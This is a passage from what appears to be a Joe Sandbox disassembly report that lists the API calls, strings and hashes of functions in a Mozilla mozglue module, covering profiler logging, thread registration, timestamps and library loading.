Part of subcall function 6C5E5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E55E1), ref: 6C5E5E8C
Part of subcall function 6C5E5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5E5E9D
Part of subcall function 6C5E5E60: GetCurrentThreadId.KERNEL32 ref: 6C5E5EAB
Part of subcall function 6C5E5E60: GetCurrentThreadId.KERNEL32 ref: 6C5E5EB8
Part of subcall function 6C5E5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5E5ECF
Part of subcall function 6C5E5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C5E5F27
Part of subcall function 6C5E5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C5E5F47
Part of subcall function 6C5E5E60: GetCurrentProcess.KERNEL32 ref: 6C5E5F53
Part of subcall function 6C5E5E60: GetCurrentThread.KERNEL32 ref: 6C5E5F5C
Part of subcall function 6C5E5E60: GetCurrentProcess.KERNEL32 ref: 6C5E5F66
Part of subcall function 6C5E5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5E5F7E

free.MOZGLUE(?), ref: 6C61F9C5
free.MOZGLUE(?), ref: 6C61F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C61F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C61F71F
" attempted to re-register as ", xrefs: 6C61F858
Thread , xrefs: 6C61F789

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: ff698f1877d4793fd90d3faf42e23938a7b33a47407d47f0afb828ae9bd0a524
Instruction ID: 1be84945678020b5c24d94113bfea9ba47491974eff2cfebc11960140b7f0eed
Opcode Fuzzy Hash: ff698f1877d4793fd90d3faf42e23938a7b33a47407d47f0afb828ae9bd0a524
Instruction Fuzzy Hash: F18105716083009FDB00DF29C880AAAB7F5EFC5308F95856DE94597B51EB30E849CB9B

Function 6C61EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61EE60
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EE6D
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C61EEA5
CloseHandle.KERNEL32(?), ref: 6C61EEB4
free.MOZGLUE(00000000), ref: 6C61EEBB
GetCurrentThreadId.KERNEL32 ref: 6C61EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61EECF

Part of subcall function 6C61DE60: GetCurrentThreadId.KERNEL32 ref: 6C61DE73
Part of subcall function 6C61DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5E4A68), ref: 6C61DE7B
Part of subcall function 6C61DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5E4A68), ref: 6C61DEB8
Part of subcall function 6C61DE60: free.MOZGLUE(00000000,?,6C5E4A68), ref: 6C61DEFE
Part of subcall function 6C61DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C61DF38

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

GetCurrentThreadId.KERNEL32 ref: 6C61EF1E
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EF2B
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EF59
GetCurrentThreadId.KERNEL32 ref: 6C61EFB0
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EFBD
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EFE1
GetCurrentThreadId.KERNEL32 ref: 6C61EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F000

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C61F02F

Part of subcall function 6C61F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C61F09B
Part of subcall function 6C61F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C61F0AC
Part of subcall function 6C61F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C61F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C61EED7
[I %d/%d] profiler_pause, xrefs: 6C61F008

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 22f3e534fbd88e51b9b2df107746291eae5c4f07bb97fa424bfc072b01131aa8
Instruction ID: a13ffb26a3f1973b54319232e5d005993d13ad4160e9eb8ffef0263df8222efc
Opcode Fuzzy Hash: 22f3e534fbd88e51b9b2df107746291eae5c4f07bb97fa424bfc072b01131aa8
Instruction Fuzzy Hash: 5D51F5357082109FDB00DB6AD4887AA7BB4EF8735AFB40529E91583F41D7758805CBAF

Function 6C5E5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5E5E9D

Part of subcall function 6C5F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B85
Part of subcall function 6C5F5B50: EnterCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B90
Part of subcall function 6C5F5B50: LeaveCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5BD8
Part of subcall function 6C5F5B50: GetTickCount64.KERNEL32 ref: 6C5F5BE4

GetCurrentThreadId.KERNEL32 ref: 6C5E5EAB
GetCurrentThreadId.KERNEL32 ref: 6C5E5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5E5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C5E6017

Part of subcall function 6C5D4310: moz_xmalloc.MOZGLUE(00000010,?,6C5D42D2), ref: 6C5D436A
Part of subcall function 6C5D4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5D42D2), ref: 6C5D4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C5E5F47
GetCurrentProcess.KERNEL32 ref: 6C5E5F53
GetCurrentThread.KERNEL32 ref: 6C5E5F5C
GetCurrentProcess.KERNEL32 ref: 6C5E5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5E5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C5E5F27

Part of subcall function 6C5ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C5ECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E55E1), ref: 6C5E5E8C

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E55E1), ref: 6C5E605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E55E1), ref: 6C5E60CC

Strings

GeckoMain, xrefs: 6C5E5ECE, 6C5E6015

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 985ff353678303f19ffbf9b37be363784f6075c3e5b21aefbea04a605c3ce77a
Instruction ID: 3b859f8904aabc9f458b1a903f2ee8b0e1154d49472916a6f1ba0069a839595e
Opcode Fuzzy Hash: 985ff353678303f19ffbf9b37be363784f6075c3e5b21aefbea04a605c3ce77a
Instruction Fuzzy Hash: 7C71AFB0604740DFD704DF29C880A6ABBF0FF8A304F94496DE59687B52DB31E948CB96

Function 6C5E9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C5D3217
Part of subcall function 6C5D31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C5D3236
Part of subcall function 6C5D31C0: FreeLibrary.KERNEL32 ref: 6C5D324B
Part of subcall function 6C5D31C0: __Init_thread_footer.LIBCMT ref: 6C5D3260
Part of subcall function 6C5D31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C5D327F
Part of subcall function 6C5D31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5D328E
Part of subcall function 6C5D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5D32AB
Part of subcall function 6C5D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5D32D1
Part of subcall function 6C5D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5D32E5
Part of subcall function 6C5D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5D32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5E9675
__Init_thread_footer.LIBCMT ref: 6C5E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5E9707
__Init_thread_footer.LIBCMT ref: 6C5E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5E9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5E97B7
FreeLibrary.KERNEL32 ref: 6C5E97D0
FreeLibrary.KERNEL32 ref: 6C5E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5E9824

Strings

NtMapViewOfSection, xrefs: 6C5E9701
ntdll.dll, xrefs: 6C5E96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5E9670
MapViewOfFileNuma2, xrefs: 6C5E97B1

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0bac033aa76c9d3f8a872fdd19b014bdfb2d2ce07b9bb34b4e0a9ebe50db40d0
Instruction ID: 05d34653fbef03fce58023a461009a76c76fee2f688051da220c0397314f96a0
Opcode Fuzzy Hash: 0bac033aa76c9d3f8a872fdd19b014bdfb2d2ce07b9bb34b4e0a9ebe50db40d0
Instruction Fuzzy Hash: 2D61F171700201AFDF00DF6AECD4B9A7BB4EB8B354FA04529E91597780D730A858CB9A

Function 6C636660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C65F618), ref: 6C636694
GetThreadId.KERNEL32(?), ref: 6C6366B1
GetCurrentThreadId.KERNEL32 ref: 6C6366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6366E1
EnterCriticalSection.KERNEL32(6C65F618), ref: 6C636734
GetCurrentProcess.KERNEL32 ref: 6C63673A
LeaveCriticalSection.KERNEL32(6C65F618), ref: 6C63676C
GetCurrentThread.KERNEL32 ref: 6C6367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C636868
RtlCaptureContext.NTDLL ref: 6C63687F

Strings

WalkStack64, xrefs: 6C636890

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: b95436222902d1939f6ee48191f9e438d8125395b4bf3bd80c81d91906b5dbcd
Instruction ID: 5a4afbf9f5d41ee9f595bac782edf140fde5f3fece0a6295c36dde95f4129772
Opcode Fuzzy Hash: b95436222902d1939f6ee48191f9e438d8125395b4bf3bd80c81d91906b5dbcd
Instruction Fuzzy Hash: DC51DF71A09310AFDB11CF25C884B9BBBF4BF89714F54992DF99987640D770E808CB9A

Function 6C61DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61DE73
GetCurrentThreadId.KERNEL32 ref: 6C61DF7D
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61DF8A
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61DFC9
GetCurrentThreadId.KERNEL32 ref: 6C61DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5E4A68), ref: 6C61DE7B

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5E4A68), ref: 6C61DEB8
free.MOZGLUE(00000000,?,6C5E4A68), ref: 6C61DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C61DF38

Strings

<none>, xrefs: 6C61DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C61E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C61DE83

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 04a80694bfe92948c3c05774580c3a0cb2847f49fe3722c28cd9c839a0ea5ee3
Instruction ID: 9e4617f139495c078254cd5e12d3ac6a1b72213652c6d1ed577c7a4d9203a4ed
Opcode Fuzzy Hash: 04a80694bfe92948c3c05774580c3a0cb2847f49fe3722c28cd9c839a0ea5ee3
Instruction Fuzzy Hash: 55412431B052109FDB11DF6AD8887AA7775EF8230EFA40019E90597F42CB319906CBEE

Function 6C62D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C62D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D52A
GetCurrentThreadId.KERNEL32 ref: 6C62D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D55F
free.MOZGLUE(00000000), ref: 6C62D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C62D5D3
GetCurrentThreadId.KERNEL32 ref: 6C62D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D652
GetCurrentThreadId.KERNEL32 ref: 6C62D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C62D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C62D6A2

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 196273e0d89bbf890bdb52ea2f7363690837638b935a6b9f86d3e2da2325d5b6
Instruction ID: 73cc5812aa1e2ad56b50234df0af105450e43b78cca1fe9e9d92928e4fe98561
Opcode Fuzzy Hash: 196273e0d89bbf890bdb52ea2f7363690837638b935a6b9f86d3e2da2325d5b6
Instruction Fuzzy Hash: 93519A71604705EFC704DF35C888A9ABBF4FF89358F508A2EE94A97710DB34A845CB99

Function 6C5D1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5D1EC1
LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5D1EE1
EnterCriticalSection.KERNEL32(6C65E744), ref: 6C5D1F38
LeaveCriticalSection.KERNEL32(6C65E744), ref: 6C5D1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C5D1F83
LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5D1FC0
EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5D1FE2
LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5D1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5D2019

Strings

MOZ_CRASH(), xrefs: 6C5D2000
Del, xrefs: 6C5D1F32
\el, xrefs: 6C5D1F3E
Del, xrefs: 6C5D1F56

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Del$Del$MOZ_CRASH()$\el
API String ID: 2055633661-1438815362
Opcode ID: a146feb1be22ac048873c34f80c8d90231c629a87e6ceb5cf9d0f244e7763538
Instruction ID: 7a937927a90424523d5a80ea1620a873e142cdb086cc4a0cf01fd730f9a760db
Opcode Fuzzy Hash: a146feb1be22ac048873c34f80c8d90231c629a87e6ceb5cf9d0f244e7763538
Instruction Fuzzy Hash: D741B071B043168FDF01CF69CC84B6A3AB5EB8A358F650025E90597741D775A804CBEE

Function 6C5F5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5F56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5F56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C5F5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5F57BC
GetTickCount64.KERNEL32 ref: 6C5F58CB
EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5F58F3
__aulldiv.LIBCMT ref: 6C5F5945
LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5F59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C65F638,?,?,?,?), ref: 6C5F59E9

Strings

MOZ_APP_RESTART, xrefs: 6C5F56CC

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 013fe1f2d4307127260b8ab44edb2b9580edeea423a4f12b5007bba3db5e141e
Instruction ID: 3993a73a985e7228754418fc0a024638683cec3c1b00afd32f6e60b43626766b
Opcode Fuzzy Hash: 013fe1f2d4307127260b8ab44edb2b9580edeea423a4f12b5007bba3db5e141e
Instruction Fuzzy Hash: 1AC18E31A09740DFDB09CF29C88065ABBF1FFCA354F958A1DE4D457660D730A886CB86

Function 6C61EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

